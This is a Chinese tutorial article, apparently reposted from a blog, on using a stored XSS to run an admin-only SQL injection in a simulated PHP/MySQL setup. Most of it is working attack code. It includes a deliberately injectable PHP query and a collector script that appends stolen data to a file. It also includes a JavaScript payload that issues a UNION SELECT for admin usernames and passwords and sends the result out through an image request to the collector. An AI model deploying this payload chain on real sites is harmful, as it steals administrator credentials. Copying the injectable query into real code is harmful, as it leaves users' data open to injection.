网站地图    收藏   

主页 > 后端 > 网站安全 >

利用xss执行sql注入 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都...

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!
于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)
其实我就是想说,我们只可以利用这个xss执行注入!
 
模拟注入漏洞代码
sqli.php
01 <?php
02  @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
03  $con = mysql_connect("localhost","root","");
04  if(!$con) {die('Could not connect: ' . mysql_error());}
05  mysql_select_db("test",$con);
06  $id = $_GET['xss'];
07  $sql = "select id,realname from test where id="."$id";
08  $view = mysql_query($sql);
09  $row = mysql_fetch_array($view);
10  echo $row[id]."<br />";
11  echo $row[realname]."<br />";
12 ?>
 
mysql数据库
1 database:test
2 table:test、admin
3 column:test.id、test.realname
4              admin.id、admin.username、admin.password
 
get.php(获取的注入后数据截取)
1 <?php
2  $file = fopen("data.txt","a");
3  fwrite($file,$_GET['get']);
4  fclose($file);
5 ?>
 
xsssqli.js(payload)
01 function addLoadEvent(func)//窗口打开加载多个函数
02 {
03  var oldfunc=window.onload; //页面打开是加载方法
04     if(typeof(window.onload)!="function")
05     {
06      window.onload=func;
07     }
08     else
09     {
10      window.onload=function()
11      {
12       oldfunc();
13       func();
14       }
15      }
16 }
17 function get_xsssqli()
18 {
19  var url = "http://www.2cto.com /xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";

20  var ajax = null;
21  if(window.XMLHttpRequest)
22  {
23   ajax = new XMLHttpRequest();
24  }
25  else if(window.ActiveXObject)
26  {
27   ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
28  }
29  else
30  {
31   return;
32  }
33  ajax.open("GET", url, true);
34  ajax.send(null);
35  ajax.onreadystatechange = function()
36  {
37   if(ajax.readyState == 4 && ajax.status == 200)
38   {
39    var img = document.createElement("img");
40    img.src = "http://www.2cto.com /xss/get.php?get="+ajax.responseText;

41    document.body.appendChild(img);
42   }
43  }
44 }
45 addLoadEvent(get_xsssqli);
 
模拟xss漏洞
1 <html>
2  <head>
3   <title>use xss to sqli</title>
4  </head>
5  <body>
6  <script src=http://127.0.0.1/xss/get.js ></script>
7  </body>
8 </html>
 
最后成功得到数据:
 
 

当然你也可以写个正则截获指定数据!
作者:L.N.博客  http://lanu.sinaapp.com/htmlcssjisxml/112.html


 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论